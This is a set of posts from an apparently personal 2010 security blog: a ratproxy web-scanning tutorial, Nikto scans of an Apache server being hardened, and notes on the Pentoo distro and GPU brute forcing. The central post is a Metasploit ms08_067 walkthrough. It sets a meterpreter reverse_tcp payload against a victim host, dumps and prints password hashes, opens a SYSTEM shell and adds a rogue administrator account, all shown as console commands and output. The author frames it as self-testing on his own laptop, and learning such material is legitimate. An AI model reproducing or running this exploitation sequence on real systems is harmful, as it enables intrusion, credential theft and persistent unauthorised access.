Wednesday, February 3, 2010

ratproxy - xss vulnerable scanner

[size=6][color=Red][b]ratproxy[/b][/color][/size]

Ratproxy is a tools use to scan the web vulnerable. The author of the ratproxy is Michal Zalewski, who is the famous greyhat in europe, the p0f also created by him as well.

The way of ratproxy works is act as proxy in between your browser and server. Then capture the all transaction from both sides. See below : -

browser --- ratproxy --- server

Requirement:
make the life easier, get a BT4. Then, boot the live CD will do

login = root password = toor


change directory to /pentest/web/ratproxy
root@bt:/#cd /pentest/web/ratproxy

make a directory for trace file create by ratproxy later root@bt:/pentest/web/ratproxy# mkdir /root/ratproxy

Then, run the ratproxy root@bt:/pentest/web/ratproxy# ./ratproxy -v /root/ratproxy/ -w e.log -d xxxxx.com.my -XCl2efxiscmg -p 8080 ratproxy version 1.58-beta by lcamtuf@google.com]lcamtuf@google.com Proxy configured successfully. Have fun, and please do not be evil. WARNING: Disruptive tests enabled. use with care. [+] Accepting connections on port 8080/tcp (local only)...

Simple explantion:
-v the directory i want to store the trace files
-w create a log file based on this project
-d xxxx.com.my is refer to my domain name
-p 8080 is the proxy port

for other parameters,please refer to http://code.google.com/p/ratproxy/wiki/RatproxyDoc
cause it is a bit longer



then, set up browser point to the proxy..Because i testing in my own box. So i use local host,port 8080 will do




go to that website,then login to that site。
after login you have to visit every single pages of this site.
for this example, i only visited for few pages


root@bt:/pentest/web/ratproxy# ./ratproxy -v /root/ratproxy/ -w e.log -d e-market.com.my -XCl2efxiscmg -p 8080
ratproxy version 1.58-beta by
lcamtuf@google.com]lcamtuf@google.com
Proxy configured successfully. Have fun, and please do not be evil.
WARNING: Disruptive tests enabled. use with care.
[+] Accepting connections on port 8080/tcp (local only)...
^C
back to this console, press CTRL+C to stop the ratproxy once you finish visit all the pages



Generate the html report
root@bt:/pentest/web/ratproxy# ./ratproxy-report.sh e.log > ratproxy_report.html
root@bt:/pentest/web/ratproxy# ls -lah ratproxy_report.html
-rw-r--r-- 1 root root 61K Jan 14 14:41 ratproxy_report.html




Then, open the browser to read the html report
see the screenshot, it can be categorized as few severity.
You can click the VIEW TRACE to see the whole process
also can click the EDIT to edit value。



look, the result of VIEW TRACE。
you can see the transaction from user browser to server


how is this tools ? coolz ??
this tool is used by Google as well.

Tuesday, February 2, 2010

metaspoilt [ms08_067] - conflicker

still remember the conflicker ? what is the damage to your company when this things spread out??

ms08-067 is a patches to prevent conflicker.
here im going to attack the machine which dont patches the ms08-067 by using metaspoilt.

requirement:-

system = ubuntu 9.10

apps = metaspoilt

(i dont/wont show how to install metaspoilt in ubuntu, as system admin,you guy please figure out by yourself. )


To execute msf,

#./opt/metaspoilt/msfconsole

then call the exploit module:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.19
RHOST => 192.168.1.19
noted:RHOST is remote host,meaning your victim

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.17
LHOST => 192.168.1.17
noted:LHOST is local host,the box you running msf

msf exploit(ms08_067_netapi) > set LPORT 4444
LPORT => 4444
note:LPORT is local port,the port you want to use. we use 4444 as example

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp
note:set the payload to do attack

msf exploit(ms08_067_netapi) > exploit
note: exploit the victim host


  • Started reverse handler on port 4444
  • Automatically detecting the target…
  • Fingerprint: Windows XP Service Pack 2 – lang:English
  • Selected Target: Windows XP SP2 English (NX)
  • Triggering the vulnerability…
  • Sending stage (725504 bytes)
  • Meterpreter session 1 opened (192.168.1.17:4444 -> 192.168.1.19:1442)
  • note:see the last line ??you successful created the session between your box and victim's box

    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    note:getuid to see the system

    meterpreter > run hashdump


  • Obtaining the boot key…
  • Calculating the hboot key using SYSKEY bb35d43e0a531b188967bb43ce0f4823…
  • Obtaining the user list and keys…
  • Decrypting user keys…
  • Dumping password hashes…

    Administrator:500:281b94b1e665a2b2aad3b435b51404ee:361db25d1614b529c719205dfc0d7420:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    HelpAssistant:1000:5416885c50a87bdd115df056849a0a33:62a470b79584552188d83ce96f2482b2:::
    SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:aff70073db96549d5ecceb973af24bcc:::
    chenghui:1003:08fd436b7baa45341b4d308d3f102048:f7cabbe13fd7b71848064cbb40c5c13e:::
    ASPNET:1004:7bb95a870045309f8d5f5b133fbbefd5:38982698a41a6030a410d68d50428bf3:::
    admin:1011:08fd436b7baa45341b4d308d3f102048:f7cabbe13fd7b71848064cbb40c5c13e:::
    __vmware_user__:1013:c9d38fa38122a3212d28a90ef0e5c0c5:3f06c5556c2f5aaeeb4cb499ab9681e7:::

    note:run hashdump, i had dumped all user account's hash key。
    if you do not want to add new account into this host,think how to break the hash。
    tips: cain and abel

    meterpreter > shell
    Process 4288 created.
    Channel 2 created.
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    note:issue shell command. i owned the shell。 hehe

    C:\WINDOWS\system32>ipconfig
    ipconfig

    Windows IP Configuration

    Ethernet adapter VMware Network Adapter VMnet8:

    Connection-specific DNS Suffix . :
    IP Address. . . . . . . . . . . . : 192.168.81.1
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . :

    Ethernet adapter VMware Network Adapter VMnet1:

    Connection-specific DNS Suffix . :
    IP Address. . . . . . . . . . . . : 192.168.136.1
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . :

    Ethernet adapter Wireless Network Connection:

    Media State . . . . . . . . . . . : Media disconnected

    Ethernet adapter VirtualBox Host-Only Network:

    Connection-specific DNS Suffix . :
    IP Address. . . . . . . . . . . . : 192.168.56.1
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . :

    Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix . :
    IP Address. . . . . . . . . . . . : 192.168.1.19
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.1.1
    note:ipconfig, it's works。


    C:\WINDOWS\system32>net user a13x P@ssw0rd /add
    net user a13x P@ssw0rd /add
    The command completed successfully.
    note:i try to add adduser。 ^^ please practice the windows command。

    C:\WINDOWS\system32>net localgroup Administrators a13x /add
    net localgroup Administrators a13x /add
    The command completed successfully.
    note:i add myself into administrators group。 damn eveil

    you can play with this host with windows command like net view ,net use, tasklist ,taskkill, net service and etc.
    please practice more with windows command

    the victim is my laptop , running with windows xp sp2, windows firewall on, mcafee disabled。

  • ENJOY HACKING, please do not harm other ppl because this is misuse of computer. You can be send to jail !!

    Monday, January 4, 2010

    how secure of your apache server???

    [root@manutd nikto-2.1.0]# ./nikto.pl -c all -host 192.168.1.15
    - Nikto v2.1.0/2.1.0
    ---------------------------------------------------------------------------
    + Target IP: 192.168.1.15
    + Target Hostname: 192.168.1.15
    + Target Port: 80
    + Start Time: 2009-11-23 0:02:00
    ---------------------------------------------------------------------------
    + Server: Apache/2.2.13 (Fedora)
    + OSVDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
    + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
    + OSVDB-0: Apache/2.2.13 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.
    + OSVDB-3268: /icons/: Directory indexing is enabled: /icons
    + OSVDB-3233: /icons/README: Apache default file found.
    + 3582 items checked: 5 item(s) reported on remote host
    + End Time: 2009-11-23 0:02:00 (18 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested



    ========== after mod_security installed ===========================
    [root@manutd nikto-2.1.0]# ./nikto.pl -C all -host 192.168.1.15
    - Nikto v2.1.0/2.1.0
    ---------------------------------------------------------------------------
    + Target IP: 192.168.1.15
    + Target Hostname: 192.168.1.15
    + Target Port: 80
    + Start Time: 2009-11-23 0:08:00
    ---------------------------------------------------------------------------
    + Server: Apache/2.2.0 (Fedora)
    + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
    + OSVDB-0: Apache/2.2.0 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.
    + 3582 items checked: 2 item(s) reported on remote host
    + End Time: 2009-11-23 0:09:00 (55 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested



    ======== after apache config tuned ===============
    [root@manutd nikto-2.1.0]# ./nikto.pl -C all -host 192.168.1.15
    - Nikto v2.1.0/2.1.0
    ---------------------------------------------------------------------------
    + Target IP: 192.168.1.15
    + Target Hostname: 192.168.1.15
    + Target Port: 80
    + Start Time: 2009-11-23 0:22:00
    ---------------------------------------------------------------------------
    + Server: Apache
    + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
    + 3582 items checked: 1 item(s) reported on remote host
    + End Time: 2009-11-23 0:23:00 (57 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested



    ========== last modification =============
    [root@devil nikto-2.1.0]# ./nikto.pl -C all -host 192.168.1.15

    - Nikto v2.1.0/2.1.0
    ---------------------------------------------------------------------------
    + Target IP: 192.168.1.15
    + Target Hostname: 192.168.1.15
    + Target Port: 80
    + Start Time: 2009-11-23 0:57:00
    ---------------------------------------------------------------------------
    + Server: This is Windows IIS 10. Enjoy hacking
    + 3582 items checked: 0 item(s) reported on remote host
    + End Time: 2009-11-23 0:58:00 (45 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested



    see , Windows IIS 10, Enjoy Hacking :P

    Intruders cant guess what is my server platform, but they still can grab my webpage header.
    Maybe they can guess from my webpage header.


    see, nothing to be found.... i just do a basic modification in apache and mod_security.
    For more advance topics in mod_security, please read below 2 books. It is very useful for apache
    Apache Security by Ivan Ristic
    The Definitive Guide to Apache mod_rewrite by Rich Bowen


    Actually i have to do more advance web vulnerable testing because tested with 1 tools is not enough. It is dangerous if the production server only done with 1 tools for pen test.


    hopefully i got time to do more advance pentest with various open source web scanner also proprietary product like NESSUS

    Pentoo, another security distro

    Pentoo, another security distro which intro by my china friend who playing Back Track with me along.

    i had tested with my EEEPC 1005HA, it is very fast compared to BT4. Of coz BT4 is slower due to the x windows client is KDE3.x.

    There's 2 things really impressed me which are latest kernel 2.6.32 and 2x CUDA Apps. The advantages of new kernel is more driver supported and i can use EXT4, i like this File System pretty much due to better performance. Yet, the CUDA Apps really make use the processing speed of CUDA, it is really good in brute force.

    There's a GUI thingy called Fast Track Web Interface to allow people who are not familiar with linux have better life to play with this tools. This kind of GUI thingy also available in other security distro like NST.

    I plan to install the Pentoo in my eeepc ,but my china friend ask me to wait for BT4 due to Bt4 final will release in this month. As i see from current development, the BT4 will come with Kernel 2.6.29 and my eeepc wireless card is able to detected automatically. I can install it thru source code but look like not so PERFECT already.

    Well, let see what happen in BT4 after release.

    Please see the Pentoo screenshot which i took by vmware


    Sunday, January 3, 2010

    1st blog of 2010 - CUDA enabled GPGPU

    this is my 1st blog in 2010 after i stopped blogging for almost half year.

    As we know the brute force attack is required high speed processing power in order to achieve it.
    but nowadays brute force attack can be done a normal home use PC. Thanks to NVIDIA who make the CUDA chipset to speed up the calculation of processing speed.

    1 years ago, i dont see many of the CUDA based applications available in internet. With the effort of programmers, they had done some CUDA apps for brute force which is available in BackTrack 4 and Pentoo security distro.

    Recently, ASUS has announced their home made super computer which is powered by CUDA GPGPU. It is very cheap like 200-300 USD per teraflops

    As we can see, more and more CUDA based applications will be available soon. It is good because the calculation speed is speed up and the price is lower down whereas It is bad for people who have evil mindset.

    Nothing to be safe if CUDA really make use in the our life. Any crypto can be decrypt within very few minutes or less.